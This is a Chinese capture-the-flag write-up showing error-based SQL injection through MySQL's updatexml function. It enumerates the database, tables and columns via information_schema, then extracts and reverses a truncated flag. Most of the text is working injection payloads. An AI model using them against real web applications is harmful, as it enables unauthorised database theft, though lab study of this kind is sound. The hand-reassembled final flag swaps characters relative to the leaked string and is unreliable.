?id=1 有数据
?id=2 有数据
?id=2-1 有数据
用到函数:updatexml
updatexml(目标xml内容,xml文档路径,更新的内容)
查询库名
?id=updatexml(1,concat(0x7e,(select database()),0x7e),1) 发现库名:word
查询有多少张表:
?id=updatexml(1,concat(0x7e,(select count(*) from information_schema.tables ),0x7e),1)
查询表名:
?id=updatexml(1,concat(0x7e,(select table_name from information_schema.tables limit 0,1),0x7e),1)
至
?id=updatexml(1,concat(0x7e,(select table_name from information_schema.tables limit 83,1),0x7e),1)
查询字段数:
?id=updatexml(1,concat(0x7e,(select count(*) from information_schema.columns ),0x7e),1)
查询字段名:
?id=updatexml(1,concat(0x7e,(select column_name from information_schema.columns limit 0,1),0x7e),1)
至
?id=updatexml(1,concat(0x7e,(select column_name from information_schema.columns limit 811,1),0x7e),1)
读出数据
?id=updatexml(1,concat(0x7e,(select f14g from f14g),0x7e),1)
发现flag信息不全
flag{
b892889e-6bbd-421d-b984-d6
颠倒flag内容,从后往前取
?id=updatexml(1,concat(reverse((select f14g from f14g))),1)
}ef99546fdb6d-489b-d124-dbb6-e98
flag{
b892889e-6bbd-421d-b984-d6
}ef99546fdb6d-489b-d124-dbb6-e98
取反:
89e-6bbd-421d-b984-d6dbf64599fe}
flag{
b892889e-6bbd-421d-b984-d66dbf64599fe}
所以最后flag为:flag{b892889e-6bbd-421d-b984-d66dbf64599fe}。